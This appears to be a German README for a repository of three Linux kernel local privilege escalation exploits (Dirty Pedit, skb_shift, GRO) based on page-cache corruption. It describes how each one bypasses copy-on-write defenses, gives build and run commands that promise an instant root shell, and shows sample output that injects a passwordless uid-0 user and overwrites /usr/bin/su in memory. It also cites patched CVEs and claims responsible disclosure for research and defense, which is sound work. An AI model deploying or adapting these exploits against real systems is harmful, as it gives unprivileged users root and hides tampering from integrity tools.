LPEs durch Page-Cache-Korruption

3 Exploits zur lokalen Privilegienerweiterung im Linux-Kernel. Dieselbe Bug-Klasse wie Dirty COW und Dirty Pipe. Root-Shell in Sekunden. Jede große Distribution betroffen.

Alle drei korrumpieren den Page-Cache des Kernels – die In-Memory-Kopie von Dateien, die Prozesse tatsächlich lesen und ausführen. Die Datei auf der Festplatte wird nie angefasst. Dateiintegritätstools sehen nichts. execve("/usr/bin/su") lädt aus dem Cache → führt deinen Shellcode aus → root.

Die Exploits

Alle drei: unprivilegiert → root. Keine speziellen Berechtigungen. Nur User Namespaces.

Was ist die Bug-Klasse?

Jeder Exploit in diesem Repo folgt demselben Muster:

1. Get page-cache pages into a kernel buffer (splice)
2. Bypass the copy-on-write defense
3. Write in-place → read-only file corrupted in memory

Was sich unterscheidet, ist WIE die Verteidigung umgangen wird und WAS den Schreibvorgang ausführt:

Die Abstammungslinie

2016  Dirty COW         COW race via mmap + fork
2022  Dirty Pipe        Stale PIPE_BUF_FLAG_CAN_MERGE in splice
2026  Copy Fail         AF_ALG in-place AEAD on page-cache scatterlist
2026  Dirty Frag        ESP skip_cow on splice'd frags (missing flag)
2026  Fragnesia         skb_try_coalesce drops SHARED_FRAG flag
2026  Dirty Pedit  ←    TC pedit COW gap, no crypto needed
2026  skb_shift    ←    TCP SACK drops SHARED_FRAG, ESP writes
2026  GRO Flag Loss ←   GRO merge drops SHARED_FRAG, ESP writes

Betroffene Versionen

Standardkonfigurationen. Keine Härtung nötig, um verwundbar zu sein. Wenn du Linux betreibst, warst du betroffen.

Warum Dirty Pedit anders ist

skb_shift und GRO verwenden beide dieselbe Exploitationstechnik: das SKBFL_SHARED_FRAG-Flag verlieren und dann ESP-Krypto mithilfe einer vorberechneten IV-Nachschlagetabelle Byte für Byte in Page-Cache-Seiten XORen lassen.

Dirty Pedit ist etwas völlig anderes:

• Keine Krypto. Kein XFRM, kein ESP, kein AES-GCM, keine IV-Tabellen.
• Direktes Schreiben. TC pedit schreibt exakt die Bytes, die du über skb_store_bits angibst.
• Unter einer Sekunde. Ein Paket = 12 geschriebene Bytes. Root auf einen Schlag.
• Andere Umgehung der Verteidigung. Fasst SHARED_FRAG gar nicht an – bricht skb_ensure_writable durch Integer-Wraparound.

Kompilieren

# Build all three
cd dirty_pedit && gcc -static -O2 -o exploit exploit.c && cd ..
cd skb_shift   && gcc -static -O2 -o exploit exploit.c && cd ..
cd gro         && gcc -static -O2 -o exploit exploit.c && cd ..

Jeder Exploit ist eine einzelne, in sich geschlossene C-Datei. Keine Abhängigkeiten außer libc.

Ausführen

# Any of the three (as unprivileged user):
./exploit
# → root shell

Erfordert: Linux-Kernel im betroffenen Versionsbereich + CONFIG_USER_NS=y (Standard auf allen großen Distributionen).

Ausgabe (Dirty Pedit)

[*] Dirty Pedit — Local Privilege Escalation
[*] uid=1000 pid=42
[*] Victim line at offset 186: nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
[*] Injecting user 'a' (uid=0, no password) over victim line...
[+] User 'a' injected with uid=0!
[+] Running: su a
# id
uid=0(root) gid=0(root) groups=0(root)

Ausgabe (skb_shift / GRO)

[*] uid=1000 euid=1000
[*] IV table pre-computed (256 entries)
[*] Writing 192 bytes to /usr/bin/su...
  [120] 0x00→0x48 ... OK
  [121] 0x00→0x31 ... OK
[*] Write complete: 192/192
[!] /usr/bin/su page cache overwritten!
# whoami
root

Wichtige Eigenschaften

Verantwortungsvolle Offenlegung

Alle Schwachstellen wurden dem Linux-Kernel-Sicherheitsteam und den Netzwerk-Maintainern verantwortungsvoll gemeldet. Die Patches wurden upstream gemerged und in stabile Zweige zurückportiert.

• CVE-2026-46331: Behoben in v7.1-rc7, Commit 899ee91156e5
• CVE-2026-43503: Behoben in v7.1-rc5, Commit 48f6a5356a33

Diese Exploits werden zu Bildungs- und Verteidigungszwecken veröffentlicht, nachdem Patches verfügbar waren. Page-Cache-Korruption wirkt nur im Speicher — ein Neustart oder echo 1 > /proc/sys/vm/drop_caches stellt die ursprünglichen Dateien wieder her.

Autor

Rajat Gupta — Offensive Security @ Qualcomm

Lizenz

MIT